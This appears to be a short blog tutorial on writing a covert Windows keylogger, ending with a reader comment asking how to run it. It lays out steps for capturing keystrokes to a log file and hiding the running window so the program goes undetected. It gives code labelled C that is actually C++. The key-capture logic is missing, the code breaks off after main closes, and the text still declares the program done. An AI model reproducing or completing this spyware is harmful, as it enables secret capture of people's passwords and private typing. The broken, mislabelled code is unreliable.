How To Code KeyLogger In CLanguage

Algorithm for writing a Simple Keylogger :
1. Create an Empty log file for storing keylogs.
2. Intercept keys pressed by user using GetAsyncKeyState() function.
3. Store these intercepted values in file.
4. Hide the Running Window Dialog to make it undetectable.
5. Use while loop to make it running in all conditions.
6. Add Sleep() function to reduce the CPU usage to 0%. Now let us see the C program of keylogger or keystroke logger which intercepts all the keys pressed by the user and store these pressed keys in log file.
C program
#include<iostream>
#include<windows.h>
#include<fstream>
#include<time.h>
using namespace std;
int main()
{
bool runlogger = true;
ofstream log; //where your logs will be stored
log.open("C:\\log.txt", ofstream::out);
//displaying error message when unable to open file
if(log.fail())
{
printf("Error in opening log.txt file\n");
}
//Code for hiding running dialog
HWND hideIt = FindWindow("ConsoleWindowClass",NULL);
ShowWindow(hideIt,0);
}
//Logic for capturing key stokes .
That's it.A Code for Keylogger in C Programming Language is done.
HOW TO EXECUTE IT AND USE IT ?
ReplyDelete